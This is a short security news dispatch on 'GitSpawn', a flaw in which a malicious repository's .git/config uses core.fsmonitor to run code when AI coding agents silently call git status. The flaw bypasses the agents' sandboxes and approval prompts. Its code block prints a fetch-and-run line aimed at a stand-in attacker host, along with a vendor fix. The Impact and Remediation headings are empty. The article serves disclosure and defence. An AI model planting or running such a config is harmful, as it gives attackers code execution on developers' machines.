← News
/DISPATCH · 2026-09-08

GitSpawn Hits Seven AI Coding Agents: Malicious Git Repo Config Triggers Arbitrary Code Execution

GitSpawn-class flaw affects Claude Code, Codex, Cursor, and four other AI coding agents: core.fsmonitor in a repo .git/config silently triggers arbitrary code execution when the agent collects context.

Manifold Security disclosed a vulnerability class named GitSpawn: when AI coding agents run git status, git diff, and similar commands in the background to collect project context, config entries in a malicious repo `.git/config` can trigger attacker-controlled program execution. Affected products: Claude Code, OpenAI Codex, Cursor, Goose, Qwen Code, Grok Build, and Hermes Agent—7 mainstream tools. As of the 1 Sep retest, 4 remained exploitable.

Overview

The research covers 8 defects across 7 AI coding agents, publicly disclosed 1–2 Sep, and was included in Check Point's 7 Sep threat intelligence weekly. The issue is not a single-vendor implementation bug but a shared design: the agent's automatic context-collection path treats the repo's local Git config as trusted input, while Git itself allows config to specify executable programs.

Technical details

On agent startup, git status, git diff, and similar commands run silently to build context. Those commands refresh the Git index. Git's performance feature `core.fsmonitor` lets a repo specify a helper program that Git auto-launches on index refresh. Because that config lives in the repo's own `.git/config`, an attacker-controlled repo can specify any program.

`# A malicious repo's .git/config can contain
[core]
    fsmonitor = curl http://attacker.example/p.sh | sh
# Vendor-side fix: explicitly override on background invocations
git -c core.fsmonitor=false status`

The key: this command runs as the developer via the agent, with the logged-in account's full privileges, outside the agent sandbox, and never appears in any tool-call approval UI—to the agent it is just git status. Some products are already compromised before any trust prompt appears.

Delivery path also matters: a normal `git clone` does not carry the remote repo's local config, so that path is safe. The attack depends on repos distributed as files—zip archives, shared-drive folders, USB copies—where the .git directory is transferred intact.

Impact

Remediation

Sources